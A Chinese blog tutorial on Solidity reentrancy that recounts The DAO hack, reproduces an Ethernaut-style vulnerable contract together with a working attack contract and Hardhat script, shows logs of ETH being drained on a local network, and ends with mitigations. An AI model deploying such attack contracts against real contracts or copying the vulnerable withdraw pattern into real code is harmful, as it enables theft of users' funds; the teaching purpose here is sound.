重入漏洞分析-基于hardhat、solidity0.8环境

  • 小驹
  • 更新于 2022-06-04 10:46
  • 阅读 3792

重入,顾名思义是指重复进入,也就是“递归”的含义,本质是循环调用缺陷重入漏洞(或者叫做重入攻击),是产生的根源是由于solidity智能合约的特性,这就导致许多不熟悉solidity语言的混迹于安全圈多年的安全人员看到“重入漏洞”这4个字时也都会一脸蒙圈,重入漏洞本质是一种循环调用,类似于其他语言中的死循环调用代码缺陷。

1. 重入漏洞简介

1.1 漏洞定义

重入,顾名思义是指重复进入,也就是“递归”的含义,本质是循环调用缺陷。重入漏洞(或者叫做重入攻击),是产生的根源是由于solidity智能合约的特性,这就导致许多不熟悉solidity语言的混迹于安全圈多年的安全人员看到“重入漏洞”这4个字时也都会一脸蒙圈,重入漏洞本质是一种循环调用,类似于其他语言中的死循环调用代码缺陷。

1.2 危害和利用难度

重入漏洞多数可以绕过代码的正常逻辑的执行,危害的究竟是可以导致拒绝服务还是可以导致代币丢失不能一概而论,更多取决于代码的编写逻辑相关,在区块链历史上,也产生过由于重入漏洞导致代币被盗的例子。

1.3 典型案例- The DAO事件

DAO,英文全称是 Decentralized Autonomous Organization,翻译过来是“去中心化自治组织”,是 以太坊创始人V 神提出的一个概念。它依靠智能合约在区块链上运行,代码表明一切的规则,code is god,可以简单理解为 web3 上的去中心化的公司。

The DAO 则是区块链公司Slock.it 发起的一个众筹项目,是当时的明星众筹项目。

在2016 年 6 月 7 日,有黑客利用漏洞向一个匿名的地址转移走了项目众筹来的 360万枚ether ,不过幸运的是,当时The DAO有 28 日的锁定期,所以要到 7 月 4 日,黑客才能转移走盗来的ether,这给了社区处理的时间。当时,Slock.it 的首席技术官发表过一篇博文,他提出两点建议:

  1. 软分叉,即V神的提议。不过,这仅仅把 the DAO 的所有资产都冻结住,黑客与其它投资者均无法提现。
  2. 硬分叉。能把所有的资金都退回去,投资者不会有什么损失,而且不需要回滚。

对打硬分叉大家形城了分歧,主要有两种声音:

  • 反对派:认为去中心化是以太坊网络的使命,神圣不可侵犯,硬分叉也就意味着人为操纵,违背了初衷。
  • 支持派:要严厉惩戒黑客,其次通过硬分叉解决事件,不必借助外部的力量(比如监管机构)本身也是自治、去中心化的体现。

最终结果,两方谁都不服,形成两条链:一条为原链条ETC,另一条为新的分叉链ETH,各自代表不同的社区共识。

这个事件是以太坊历史上最大的事件。在这个事件里,黑客利用的漏洞就是重入攻击漏洞

2. 漏洞原理

为了更好地理解漏洞,需要有对solidity编程的基本的理解,主要关注下面两个前置知识:

  1. solidity的转账函数
  2. fallback回调

2.1 前置知识1-solidity的转账函数

<aside> 😀 solidity转账函数有哪些?

</aside>

我们先来了解 solidity 中能够转账的操作都有哪些?主要有transfer,send,call.value()三个方法。

  1. transfer:转账出错会抛出异常后面代码不执行;
  2. send:转账出错不会抛出异常只返回 true/false 后面代码继续执行;
  3. call.value().gas()():这个函数是send函数的底层实现。转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击

在自己的合约代码中最推荐的函数是transfer函数,因为transfer在转账失败后会回滚交易。其次是send函数,send函数是transfer的底层实现,在调用send时要自行判断send函数的返回值。最不推荐的是call.value()函数,这个函数是send函数的底层实现。

另外一个区别在于:transfer和send函数在调用时有gas限制,如果超过了2300 gas时,这两个函数就会返回。但call.value()函数没有Gas限制,可以将整个交易中设置的Gas用光。

有兴趣的朋友,可以自行编写这三个函数的调用方法,在remix中看各个函数使用的 Gas used。

漏洞示例中就是使用了最不安全的call.value()函数,导致如果调用合约时,传入的Gas够大,可以达到重入的御环代码可以运行很久。

2.2 前置知识2-Fallback函数(回退函数)的作用

首先我们要知道,转账是可以转钱到一个智能合约地址或者一个账户地址。这两个是有所区别的————Fallback函数

Fallback函数(也叫回调函数)的说明 合约可以有一个未命名的函数———Fallback函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。

除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。 如果不存在这样的函数,则合约不能通过常规交易接收以太币。( 🥰🥰:没有payable的回调函数,合约不能收以太币)

在这样的上下文中,通常只有很少的 gas 可以用来完成这个函数调用(准确地说,是 2300 gas),所以使 fallback 函数的调用尽量廉价很重要。 请注意,调用 fallback 函数的交易(而不是内部调用)所需的 gas 要高得多,因为每次交易都会额外收取 21000 gas 或更多的费用,用于签名检查等操作。

fallback函数在下面三种情况下会调用:

  1. 调用合约不存在的函数
  2. 调用合约中的函数,但给定的函数参数的类型不对。
  3. 向合约转ether时。

下面的漏洞示例中就是因为向我们的攻击合约转了ether,从而调用了我们攻击合约的回退函数,而攻击合约的回退函数又调用了原合约的withdraw函数,原合约的withdraw函数又调用转败给了攻击合约,从而又回调用攻击合约的回退函数,而攻击合约的回退函数又又调用了原合约的withdraw函数…………一个循环就此产生了。

那么请思考下这个循环会一直无限地执行下去吗?如果不会的话,什么时候这个循环才会停下呢?

答案是:不会的,当这笔交易的Gas用光时,循环就会暂停,交易就会结束,但是在结束之前,从原合约中的ether已经转走到攻击合约中了…

正是因为call.value()没有Gas限制fallback函数引起了重入这两者的结合,才导致下面演示漏洞中的ether的窃取。

3. 漏洞示例

3.1 演示代码

参考ethernaut 中的漏洞合约。在solidity 0.8版本中进行代码重写与复现。

演示代码分为三部分,分别为:

  • Reentrance.sol,有漏洞的合约。
  • Attack.sol, 攻击者编写的攻击合约,用来利用漏洞。
  • reentrance.ts,在hardhat中编写的漏洞利用演示过程。

原始合约(有漏洞的合约):Reentrance.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SafeMath.sol";
import "hardhat/console.sol";
contract Reentrance {

  // using SafeMath for uint256;
  mapping(address => uint) public balances;

  function deposit() public payable {
    balances[msg.sender] = balances[msg.sender] + msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(address _to, uint _amount) payable public {
    require(balances[msg.sender] > _amount);
    require(address(this).balance > _amount);
    _to.call{value:_amount}("");
    unchecked {
      balances[msg.sender] -= _amount;
    }
    console.log("[RE withdraw]balance[%s]:%s" ,msg.sender , balances[msg.sender]);
  }

  receive() external payable {}
}

攻击合约:Attack.sol

// SPDX-License-Identifier: MIT
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Reentrance.sol";
import "hardhat/console.sol";
contract Attack {
    Reentrance reentrance;
    address public owner;
    uint public number; 

    modifier ownerOnly(){
        require(msg.sender==owner);
        _;
    }
    fallback() external payable{
        if (msg.sender == address(reentrance)){
            number = number +1;
            console.log("[attack fallback] %s times called, attack_balance:%s , re_balance:%s ", 
                        number,address(this).balance/(10**18), address(reentrance).balance/(10**18));

            reentrance.withdraw(address(this), msg.value);
        }
    }
    receive() external payable{
        if (msg.sender == address(reentrance)){
            number = number +1;
            console.log("[attack fallback] %s times called, attack_balance:%s , re_balance:%s ", 
                        number,address(this).balance/(10**18), address(reentrance).balance/(10**18));

            reentrance.withdraw(address(this), msg.value);
        }
    }
    constructor() payable{
        owner = msg.sender; 
    }

    function setVictim(Reentrance _victim) public ownerOnly {
        reentrance = _victim;
        // console.log("Attack setVictim is call");
    }
    function  startAttack(uint _amount) public ownerOnly {
        reentrance.deposit{value:_amount}();
        reentrance.withdraw(address(this), _amount/2);
    }

    function byebye() public {
        selfdestruct(payable(owner));
    }

}

演示攻击过程的自动化脚本reentrance.ts

// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node &lt;script>`.
//
// When running the script with `npx hardhat run &lt;script>` you'll find the Hardhat
// Runtime Environment's members available in the global scope.
const hre = require("hardhat");
const { waffle } = require("hardhat");
import { Signer } from "ethers";

const ethers = hre.ethers;
async function main() {
    // 定义变量,user部署Reentrance合约,hacker部署Attack合约
    const provider = waffle.provider;
    let Reentrance, reentrance, Attack, attack;
    let user1: Signer;
    let hacker: Signer;

    // 取得两个用户账户,分别模拟user1, hacker
    [user1, hacker] = await ethers.getSigners();

    // 使用user1部署Reentrance合约
    Reentrance = await hre.ethers.getContractFactory("Reentrance", user1);
    reentrance = await Reentrance.deploy();
    await reentrance.deployed();

    // 使用hacker账户部署attack合约,在部署attack时,直接给attack充2个eth
    let overrides ={
        value: ethers.utils.parseEther("2"), 
    }
    Attack = await hre.ethers.getContractFactory("Attack", hacker);
    attack = await Attack.deploy(overrides)
    await attack.deployed()

    // 打印user和hacker的地址,以及部署的Reentrance合约的地址和Attack合约的地址
    console.log("Contract Reentrance address:", reentrance.address);
    console.log("Contract Attack address:", attack.address);
    console.log('attack balance:%s', await ethers.utils.formatEther(await provider.getBalance(attack.address)));

    let tx = {
      from: await user1.getAddress(), 
      to: reentrance.address,
      value: ethers.utils.parseEther("100")
    }
    await user1.sendTransaction(tx);

    console.log('reentrance balance:%s',await ethers.utils.formatEther(await provider.getBalance(reentrance.address)));

    console.log('---------模拟初始环境完成:--------\\n--------1. reentrance合约(%s)有 %s ETH \\n 2.hacker部署attack合约,hacker合约(%s)有 %s 个ETH\\n----------------------',
                reentrance.address,
                await ethers.utils.formatEther(await provider.getBalance(reentrance.address)),
                attack.address,
                await ethers.utils.formatEther(await provider.getBalance(attack.address))
              );

    console.log('下面模拟攻击过程,调用attack的startAttack方法');

    await attack.connect(hacker).setVictim(reentrance.address);
    await attack.connect(hacker).startAttack(await ethers.utils.parseEther("1"));

    console.log("******************攻击完成后,各账户的余额******************");
    console.log('reentrance contract balance : %s', await ethers.utils.formatEther(await provider.getBalance(reentrance.address)));
    console.log('attack contract balance : %s', await ethers.utils.formatEther(await provider.getBalance(attack.address)));
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

演示过程详解:

  1. 使用user1账户部署原始Reentrance合约
  2. 使用hacker账户模拟攻击者,部署攻击Attack合约。在部署的同事向Attack合约中存入一部分Ether(这里存了2 eth)。
  3. 使用user1账户,向Reentrance合约中存入ether,这里存入了100 eth.
  4. 使用hacker账户发起攻击,通过调用Attack合约中的setVictim方法和startAttack方法。
  5. 攻击结束,Reentrance合约中的Ether,被窃取到hacker部署的Attack合约中了。

注意区分4个角色:外部账户user1外部账户hackerReentrance合约Attack合约。(我记得我初学时,在这4个角色中混淆了好久 🤪)上面的A,B账户是指外部账户,最终的攻击结果是B账户窃取了Reentrance合约中的Ether。

演示结果:

执行时的打印的日志如下:

  1. 最终attack窃取了18个ether ,如果想要窃取更多地ether,需要加大gas费。在下面的注意事项章节有详细描述。
  2. 打印出来的日志中循环多次地调用了attack合约的fallback函数,每次调用到fallback时,原始的Reentrance合约 就会被窃取一次ETH,这是重入的标志之一。
Contract Reentrance address: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Contract Attack address: 0x8464135c8F25Da09e49BC8782676a84730C318bC
attack balance:2.0
reentrance balance:100.0
---------模拟初始环境完成:--------
--------1. reentrance合约(0x5FbDB2315678afecb367f032d93F642f64180aa3)有 100.0 ETH 
 2.hacker部署attack合约,hacker合约(0x8464135c8F25Da09e49BC8782676a84730C318bC)有 2.0 个ETH
----------------------
下面模拟攻击过程,调用attack的startAttack方法
[attack fallback] 1 times called, attack_balance:1 , re_balance:100 
[attack fallback] 2 times called, attack_balance:2 , re_balance:100 
[attack fallback] 3 times called, attack_balance:2 , re_balance:99 
…………………………
[attack fallback] 57 times called, attack_balance:29 , re_balance:72 
[attack fallback] 58 times called, attack_balance:30 , re_balance:72 
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:500000000000000000
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:0
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039457084007913129639936
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039456584007913129639936
…………………………
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039439084007913129639936
[RE withdraw]balance[0x8464135c8f25da09e49bc8782676a84730c318bc]:115792089237316195423570985008687907853269984665640564039438584007913129639936
******************攻击完成后,各账户的余额******************
reentrance contract balance : 81.5
attack contract balance : 20.5

3.2 复现时的注意事项

如果演示中遇到问题,可能出现在下面的地方。

  • solidity版本问题。因为我们使用的是pragma solidity ^0.8.0; ,在这个版本中,如果发生溢出,会导致交易失败,抛出异常。所以为了排除溢出的影响,在代码中使用uncheck{}使代码检查溢出。

    <aside> 😀 在Solidity 0.8.0之前,算术运算总是会在发生溢出的情况下进行“截断”,从而得靠引入额外检查库来解决这个问题(如 OpenZepplin 的 SafeMath)。 而从Solidity 0.8.0开始,所有的算术运算默认就会进行溢出检查,额外引入库将不再必要。 </aside>

    基于上面的原因在Reentrance.sol 演示合约中,使用了下面的代码,

    unchecked {
        balances[msg.sender] -= _amount;
      }

    如果不使用uncheck{}检查的话,如果gas特别大,足够跑完所有的重入代码,会导致回滚,从而无法窃取到。如果gas一般大,跑完部分的重入代码的话,可以窃取部分ETH。

  • gas问题。在hardhat.config.ts module.exports处的networks的配置中hardhat网络(也就是hardhat默认启动的网络)中通过blockGasLimit设置gasLimit内容。在gasLimit比较小的时候,gas费用只够执行很少次的”重入”,会导致attack合约只能窃取到少量的eth。如果在测试时,遇到attck合约无法窃取或者窃取的eth很少的情况下,请加大gasLimit的设置。 如: 在blockGasLimit为1_000_000时,攻击结果如下: 此时,重入代码一次都没有得到执行,attck合约没有窃取到任何的ETH。 1.png

    在blockGasLimit为10_000_000时,攻击结果如下: 此时,重入代码得到部分执行,attck合约没有窃取到大约40个(attck合约在攻击后有42.5eth, 攻击前有2eth,有40.5个是从reentrance合约中窃取的)的ETH。 2.png

    在blockGasLimit为400_000_000时,攻击结果如下: 此时窃取了大约100个ETH,基本上把reentrance掏空了。 3.png

4. 安全建议

重入漏洞的原因无外乎第一是由于程序不够健壮。第二是solidity的fallback的机制。为了避免重入漏洞,围绕着上述两点,给出下列的安全建议:

  1. 在转账时使用lock等方式进行锁定。如定义一个bool locked = false;的状态变量,在转账前检查locked状态变量,在转账后设置locked状态变量。
  2. 先修改代币的状态,再进行转账。如先操作balances的-=操作,再调用转账eth的操作。
  3. 尽量不使用call这类的底层调用,而是使用transfer。因为transfer有gas限制。

5. 参考:

https://lalajun.github.io/2018/08/29/智能合约安全-重入攻击/ https://ethereum.org/zh/history/

点赞 4
收藏 5
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
小驹
小驹
0xcD46...3461
区块链安全分析,欢迎私信沟通交流